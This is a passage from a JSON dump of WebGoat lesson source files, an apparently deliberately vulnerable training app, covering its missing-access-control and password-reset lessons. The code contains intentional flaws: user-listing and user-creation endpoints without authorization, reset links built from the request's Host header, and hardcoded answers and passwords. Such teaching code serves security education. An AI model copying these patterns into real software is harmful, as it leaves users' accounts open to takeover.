org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.servlet.ModelAndView;\n\n/** Created by jason on 1/5/17. */\n@Controller\n@AllArgsConstructor\n@Slf4j\npublic class MissingFunctionACUsers {\n\n  private final MissingAccessControlUserRepository userRepository;\n  private final WebSession webSession;\n\n  @GetMapping(path = {\"access-control/users\"})\n  public ModelAndView listUsers() {\n\n    ModelAndView model = new ModelAndView();\n    model.setViewName(\"list_users\");\n    List<User> allUsers = userRepository.findAllUsers();\n    model.addObject(\"numUsers\", allUsers.size());\n    // add display user objects in place of direct users\n    List<DisplayUser> displayUsers = new ArrayList<>();\n    for (User user : allUsers) {\n      displayUsers.add(new DisplayUser(user, PASSWORD_SALT_SIMPLE));\n    }\n    model.addObject(\"allUsers\", displayUsers);\n\n    return model;\n  }\n\n  @GetMapping(\n      path = {\"access-control/users\"},\n      consumes = \"application/json\")\n  @ResponseBody\n  public ResponseEntity<List<DisplayUser>> usersService() {\n    return ResponseEntity.ok(\n        userRepository.findAllUsers().stream()\n            .map(user -> new DisplayUser(user, PASSWORD_SALT_SIMPLE))\n            .collect(Collectors.toList()));\n  }\n\n  @GetMapping(\n      path = {\"access-control/users-admin-fix\"},\n      consumes = \"application/json\")\n  @ResponseBody\n  public ResponseEntity<List<DisplayUser>> usersFixed() {\n    var currentUser = userRepository.findByUsername(webSession.getUserName());\n    if (currentUser != null && currentUser.isAdmin()) {\n      return ResponseEntity.ok(\n          userRepository.findAllUsers().stream()\n              .map(user -> new DisplayUser(user, PASSWORD_SALT_ADMIN))\n              .collect(Collectors.toList()));\n    }\n    return ResponseEntity.status(HttpStatus.FORBIDDEN).build();\n  }\n\n  @PostMapping(\n      path = {\"access-control/users\", \"access-control/users-admin-fix\"},\n      consumes = \"application/json\",\n      produces = \"application/json\")\n  @ResponseBody\n  public User addUser(@RequestBody User newUser) {\n    try {\n      userRepository.save(newUser);\n      return newUser;\n    } catch (Exception ex) {\n      log.error(\"Error creating new User\", ex);\n      return null;\n    }\n\n    // @RequestMapping(path = {\"user/{username}\",\"/\"}, method = RequestMethod.DELETE, consumes =\n    // \"application/json\", produces = \"application/json\")\n    // TODO implement delete method with id param and authorization\n\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.missingac;\n\nimport static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_SIMPLE;\n\nimport lombok.RequiredArgsConstructor;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\n  \"access-control.hash.hint1\",\n  \"access-control.hash.hint2\",\n  \"access-control.hash.hint3\",\n  \"access-control.hash.hint4\",\n  \"access-control.hash.hint5\"\n})\n@RequiredArgsConstructor\npublic class MissingFunctionACYourHash extends AssignmentEndpoint {\n\n  private final MissingAccessControlUserRepository userRepository;\n\n  @PostMapping(\n      path = \"/access-control/user-hash\",\n      produces = {\"application/json\"})\n  @ResponseBody\n  public AttackResult simple(String userHash) {\n    User user = userRepository.findByUsername(\"Jerry\");\n    DisplayUser displayUser = new DisplayUser(user, PASSWORD_SALT_SIMPLE);\n    if (userHash.equals(displayUser.getUserHash())) {\n      return success(this).feedback(\"access-control.hash.success\").build();\n    } else {\n      return failed(this).build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.missingac;\n\nimport static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_ADMIN;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\n  \"access-control.hash.hint6\",\n  \"access-control.hash.hint7\",\n  \"access-control.hash.hint8\",\n  \"access-control.hash.hint9\",\n  \"access-control.hash.hint10\",\n  \"access-control.hash.hint11\",\n  \"access-control.hash.hint12\"\n})\npublic class MissingFunctionACYourHashAdmin extends AssignmentEndpoint {\n\n  private final MissingAccessControlUserRepository userRepository;\n\n  public MissingFunctionACYourHashAdmin(MissingAccessControlUserRepository userRepository) {\n    this.userRepository = userRepository;\n  }\n\n  @PostMapping(\n      path = \"/access-control/user-hash-fix\",\n      produces = {\"application/json\"})\n  @ResponseBody\n  public AttackResult admin(String userHash) {\n    // current user should be in the DB\n    // if not admin then return 403\n\n    var user = userRepository.findByUsername(\"Jerry\");\n    var displayUser = new DisplayUser(user, PASSWORD_SALT_ADMIN);\n    if (userHash.equals(displayUser.getUserHash())) {\n      return success(this).feedback(\"access-control.hash.success\").build();\n    } else {\n      return failed(this).feedback(\"access-control.hash.close\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/User.java",
    "content": "package org.owasp.webgoat.lessons.missingac;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\n@Data\n@AllArgsConstructor\n@NoArgsConstructor\npublic class User {\n\n  private String username;\n  private String password;\n  private boolean admin;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordReset.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.passwordreset;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class PasswordReset extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A7;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"password-reset.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordResetEmail.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.passwordreset;\n\nimport java.io.Serializable;\nimport java.time.LocalDateTime;\nimport lombok.Builder;\nimport lombok.Data;\n\n@Builder\n@Data\npublic class PasswordResetEmail implements Serializable {\n\n  private LocalDateTime time;\n  private String contents;\n  private String sender;\n  private String title;\n  private String recipient;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/QuestionsAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.passwordreset;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 8/20/17.\n */\n@RestController\npublic class QuestionsAssignment extends AssignmentEndpoint {\n\n  private static final Map<String, String> COLORS = new HashMap<>();\n\n  static {\n    COLORS.put(\"admin\", \"green\");\n    COLORS.put(\"jerry\", \"orange\");\n    COLORS.put(\"tom\", \"purple\");\n    COLORS.put(\"larry\", \"yellow\");\n    COLORS.put(\"webgoat\", \"red\");\n  }\n\n  @PostMapping(\n      path = \"/PasswordReset/questions\",\n      consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE)\n  @ResponseBody\n  public AttackResult passwordReset(@RequestParam Map<String, Object> json) {\n    String securityQuestion = (String) json.getOrDefault(\"securityQuestion\", \"\");\n    String username = (String) json.getOrDefault(\"username\", \"\");\n\n    if (\"webgoat\".equalsIgnoreCase(username.toLowerCase())) {\n      return failed(this).feedback(\"password-questions-wrong-user\").build();\n    }\n\n    String validAnswer = COLORS.get(username.toLowerCase());\n    if (validAnswer == null) {\n      return failed(this)\n          .feedback(\"password-questions-unknown-user\")\n          .feedbackArgs(username)\n          .build();\n    } else if (validAnswer.equals(securityQuestion)) {\n      return success(this).build();\n    }\n    return failed(this).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.passwordreset;\n\nimport com.google.common.collect.Maps;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.lessons.passwordreset.resetlink.PasswordChangeForm;\nimport org.springframework.ui.Model;\nimport org.springframework.validation.BindingResult;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.ModelAttribute;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.servlet.ModelAndView;\n\n/**\n * @author nbaars\n * @since 8/20/17.\n */\n@RestController\n@AssignmentHints({\n  \"password-reset-hint1\",\n  \"password-reset-hint2\",\n  \"password-reset-hint3\",\n  \"password-reset-hint4\",\n  \"password-reset-hint5\",\n  \"password-reset-hint6\"\n})\npublic class ResetLinkAssignment extends AssignmentEndpoint {\n\n  static final String PASSWORD_TOM_9 =\n      \"somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom\";\n  static final String TOM_EMAIL = \"tom@webgoat-cloud.org\";\n  static Map<String, String> userToTomResetLink = new HashMap<>();\n  static Map<String, String> usersToTomPassword = Maps.newHashMap();\n  static List<String> resetLinks = new ArrayList<>();\n\n  static final String TEMPLATE =\n      \"Hi, you requested a password reset link, please use this <a target='_blank'\"\n          + \" href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your\"\n          + \" password.\\n\"\n          + \" \\n\\n\"\n          + \"If you did not request this password change you can ignore this message.\\n\"\n          + \"If you have any comments or questions, please do not hesitate to reach us at\"\n          + \" support@webgoat-cloud.org\\n\\n\"\n          + \"Kind regards, \\n\"\n          + \"Team WebGoat\";\n\n  @PostMapping(\"/PasswordReset/reset/login\")\n  @ResponseBody\n  public AttackResult login(@RequestParam String password, @RequestParam String email) {\n    if (TOM_EMAIL.equals(email)) {\n      String passwordTom =\n          usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9);\n      if (passwordTom.equals(PASSWORD_TOM_9)) {\n        return failed(this).feedback(\"login_failed\").build();\n      } else if (passwordTom.equals(password)) {\n        return success(this).build();\n      }\n    }\n    return failed(this).feedback(\"login_failed.tom\").build();\n  }\n\n  @GetMapping(\"/PasswordReset/reset/reset-password/{link}\")\n  public ModelAndView resetPassword(@PathVariable(value = \"link\") String link, Model model) {\n    ModelAndView modelAndView = new ModelAndView();\n    if (ResetLinkAssignment.resetLinks.contains(link)) {\n      PasswordChangeForm form = new PasswordChangeForm();\n      form.setResetLink(link);\n      model.addAttribute(\"form\", form);\n      modelAndView.addObject(\"form\", form);\n      modelAndView.setViewName(\"password_reset\"); // Display html page for changing password\n    } else {\n      modelAndView.setViewName(\"password_link_not_found\");\n    }\n    return modelAndView;\n  }\n\n  @GetMapping(\"/PasswordReset/reset/change-password\")\n  public ModelAndView illegalCall() {\n    ModelAndView modelAndView = new ModelAndView();\n    modelAndView.setViewName(\"password_link_not_found\");\n    return modelAndView;\n  }\n\n  @PostMapping(\"/PasswordReset/reset/change-password\")\n  public ModelAndView changePassword(\n      @ModelAttribute(\"form\") PasswordChangeForm form, BindingResult bindingResult) {\n    ModelAndView modelAndView = new ModelAndView();\n    if (!org.springframework.util.StringUtils.hasText(form.getPassword())) {\n      bindingResult.rejectValue(\"password\", \"not.empty\");\n    }\n    if (bindingResult.hasErrors()) {\n      modelAndView.setViewName(\"password_reset\");\n      return modelAndView;\n    }\n    if (!resetLinks.contains(form.getResetLink())) {\n      modelAndView.setViewName(\"password_link_not_found\");\n      return modelAndView;\n    }\n    if (checkIfLinkIsFromTom(form.getResetLink())) {\n      usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());\n    }\n    modelAndView.setViewName(\"lessons/passwordreset/templates/success.html\");\n    return modelAndView;\n  }\n\n  private boolean checkIfLinkIsFromTom(String resetLinkFromForm) {\n    String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), \"unknown\");\n    return resetLink.equals(resetLinkFromForm);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignmentForgotPassword.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.passwordreset;\n\nimport java.util.UUID;\nimport javax.servlet.http.HttpServletRequest;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.http.HttpEntity;\nimport org.springframework.http.HttpHeaders;\nimport org.springframework.http.HttpMethod;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.client.RestTemplate;\n\n/**\n * Part of the password reset assignment. Used to send the e-mail.\n *\n * @author nbaars\n * @since 8/20/17.\n */\n@RestController\npublic class ResetLinkAssignmentForgotPassword extends AssignmentEndpoint {\n\n  private final RestTemplate restTemplate;\n  private String webWolfHost;\n  private String webWolfPort;\n  private final String webWolfMailURL;\n\n  public ResetLinkAssignmentForgotPassword(\n      RestTemplate restTemplate,\n      @Value(\"${webwolf.host}\") String webWolfHost,\n      @Value(\"${webwolf.port}\") String webWolfPort,\n      @Value(\"${webwolf.mail.url}\") String webWolfMailURL) {\n    this.restTemplate = restTemplate;\n    this.webWolfHost = webWolfHost;\n    this.webWolfPort = webWolfPort;\n    this.webWolfMailURL = webWolfMailURL;\n  }\n\n  @PostMapping(\"/PasswordReset/ForgotPassword/create-password-reset-link\")\n  @ResponseBody\n  public AttackResult sendPasswordResetLink(\n      @RequestParam String email, HttpServletRequest request) {\n    String resetLink = UUID.randomUUID().toString();\n    ResetLinkAssignment.resetLinks.add(resetLink);\n    String host = request.getHeader(\"host\");\n    if (ResetLinkAssignment.TOM_EMAIL.equals(email)\n        && (host.contains(webWolfPort)\n            || host.contains(webWolfHost))) { // User indeed changed the host header.\n      ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink);\n      fakeClickingLinkEmail(host, resetLink);\n    } else {\n      try {\n        sendMailToUser(email, host, resetLink);\n      } catch (Exception e) {\n        return failed(this).output(\"E-mail can't be send. please try again.\").build();\n      }\n    }\n\n    return success(this).feedback(\"email.send\").feedbackArgs(email).build();\n  }\n\n  private void sendMailToUser(String email, String host, String resetLink) {\n    int index = email.indexOf(\"@\");\n    String username = email.substring(0, index == -1 ? email.length() : index);\n    PasswordResetEmail mail =\n        PasswordResetEmail.builder()\n            .title(\"Your password reset link\")\n            .contents(String.format(ResetLinkAssignment.TEMPLATE, host, resetLink))\n            .sender(\"password-reset@webgoat-cloud.net\")\n            .recipient(username)\n            .build();\n    this.restTemplate.postForEntity(webWolfMailURL, mail, Object.class);\n  }\n\n  private void fakeClickingLinkEmail(String host, String resetLink) {\n    try {\n      HttpHeaders httpHeaders = new HttpHeaders();\n      HttpEntity httpEntity = new HttpEntity(httpHeaders);\n      new RestTemplate()\n          .exchange(\n              String.format(\"http://%s/PasswordReset/reset/reset-password/%s\", host, resetLink),\n              HttpMethod.GET,\n              httpEntity,\n              Void.class);\n    } catch (Exception e) {\n      // don't care\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/SecurityQuestionAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.passwordreset;\n\nimport static java.util.Optional.of;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * Assignment for picking a good security question.\n *\n * @author Tobias Melzer\n * @since 11.12.18\n */\n@RestController\npublic class SecurityQuestionAssignment extends AssignmentEndpoint {\n\n  @Autowired private TriedQuestions triedQuestions;\n\n  private static Map<String, String> questions;\n\n  static {\n    questions = new HashMap<>();\n    questions.put(\n        \"What is your favorite animal?\",\n        \"The answer can easily be guessed and figured out through social media.\");\n    questions.put(\"In what year was your mother born?\", \"Can  be easily guessed.\");\n    questions.put(\n        \"What was the time you were born?\",\n        \"This may first seem like a good question, but you most likely dont know the exact time, so\"\n            + \" it might be hard to remember.\");\n    questions.put(\n        \"What is the name of the person you first kissed?\",\n        \"Can be figured out through social media, or even guessed by trying the most common\"\n            + \" names.\");\n    questions.put(\n        \"What was the house number and street name you lived in as a child?\",\n        \"Answer can be figured out through social media, or worse it might be your current\"\n            + \" address.\");\n    questions.put(\n        \"In what town or city was your first full time job?\",\n        \"In times of LinkedIn and Facebook, the answer can be figured out quite easily.\");\n    questions.put(\"In what city were you born?\", \"Easy to figure out through social media.\");\n    questions.put(\n        \"What was the last name of your favorite teacher in grade three?\",\n        \"Most people would probably not know the answer to that.\");\n    questions.put(\n        \"What is the name of a college/job you applied to but didn't attend?\",\n        \"It might not be easy to remember and an hacker could just try some company's/colleges in\"\n            + \" your area.\");\n    questions.put(\n        \"What are the last 5 digits of your drivers license?\",\n        \"Is subject to change, and the last digit of your driver license might follow a specific\"\n            + \" pattern. (For example your birthday).\");\n    questions.put(\"What was your childhood nickname?\", \"Not all people had a nickname.\");\n    questions.put(\n        \"Who was your childhood hero?\",\n        \"Most Heroes we had as a child where quite obvious ones, like Superman for example.\");\n    questions.put(\n        \"On which wrist do you wear your watch?\",\n        \"There are only to possible real answers, so really easy to guess.\");\n    questions.put(\"What is your favorite color?\", \"Can easily be guessed.\");\n  }\n\n  @PostMapping(\"/PasswordReset/SecurityQuestions\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String question) {\n    var answer = of(questions.get(question));\n    if (answer.isPresent()) {\n      triedQuestions.incr(question);\n      if (triedQuestions.isComplete()) {\n        return success(this).output(\"<b>\" + answer + \"</b>\").build();\n      }\n    }\n    return informationMessage(this)\n        .feedback(\"password-questions-one-successful\")\n        .output(answer.orElse(\"Unknown question, please try again...\"))\n        .build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/SimpleMailAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.passwordreset;\n\nimport static java.util.Optional.ofNullable;\n\nimport java.time.LocalDateTime;\nimport org.apache.commons.lang3.StringUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.client.RestClientException;\nimport org.springframework.web.client.RestTemplate;\n\n/**\n * @author nbaars\n * @since 8/20/17.\n */\n@RestController\npublic class SimpleMailAssignment extends AssignmentEndpoint {\n\n  private final String webWolfURL;\n  private RestTemplate restTemplate;\n\n  public SimpleMailAssignment(\n      RestTemplate restTemplate, @Value(\"${webwolf.mail.url}\") String webWolfURL) {\n    this.restTemplate = restTemplate;\n    this.webWolfURL = webWolfURL;\n  }\n\n  @PostMapping(\n      path = \"/PasswordReset/simple-mail\",\n      consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE)\n  @ResponseBody\n  public AttackResult login(@RequestParam String email, @RequestParam String password) {\n    String emailAddress = ofNullable(email).orElse(\"unknown@webgoat.org\");\n    String username = extractUsername(emailAddress);\n\n    if (username.equals(getWebSession().getUserName())\n        && StringUtils.reverse(username).equals(password)) {\n      return success(this).build();\n    } else {\n      return failed(this).feedbackArgs(\"password-reset-simple.password_incorrect\").build();\n    }\n  }\n\n  @PostMapping(\n      consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE,\n      value = \"/PasswordReset/simple-mail/reset\")\n  @ResponseBody\n  public AttackResult resetPassword(@RequestParam String emailReset) {\n    String email = ofNullable(emailReset).orElse(\"unknown@webgoat.org\");\n    return sendEmail(extractUsername(email), email);\n  }\n\n  private String extractUsername(String email) {\n    int index = email.indexOf(\"@\");\n    return email.substring(0, index == -1 ? email.length() : index);\n  }\n\n  private AttackResult sendEmail(String username, String email) {\n    if (username.equals(getWebSession().getUserName())) {\n      PasswordResetEmail mailEvent =\n          PasswordResetEmail.builder()\n              .recipient(username)\n              .title(\"Simple e-mail assignment\")\n              .time(LocalDateTime.now())\n              .contents(\n                  \"Thanks for resetting your password, your new password is: \"\n                      + StringUtils.reverse(username))\n              .sender(\"webgoat@owasp.org\")\n              .build();\n      try {\n        restTemplate.postForEntity(webWolfURL, mailEvent, Object.class);\n      } catch (RestClientException e) {\n        return informationMessage(this)\n            .feedback(\"password-reset-simple.email_failed\")\n            .output(e.getMessage())\n            .build();\n      }\n      return informationMessage(this)\n          .feedback(\"password-reset-simple.email_send\")\n          .feedbackArgs(email)\n          .build();\n    } else {\n      return informationMessage(this)\n          .feedback(\"password-reset-simple.email_mismatch\")\n          .feedbackArgs(username)\n          .build();\n    }\n  }\n}\n"
  },
  {
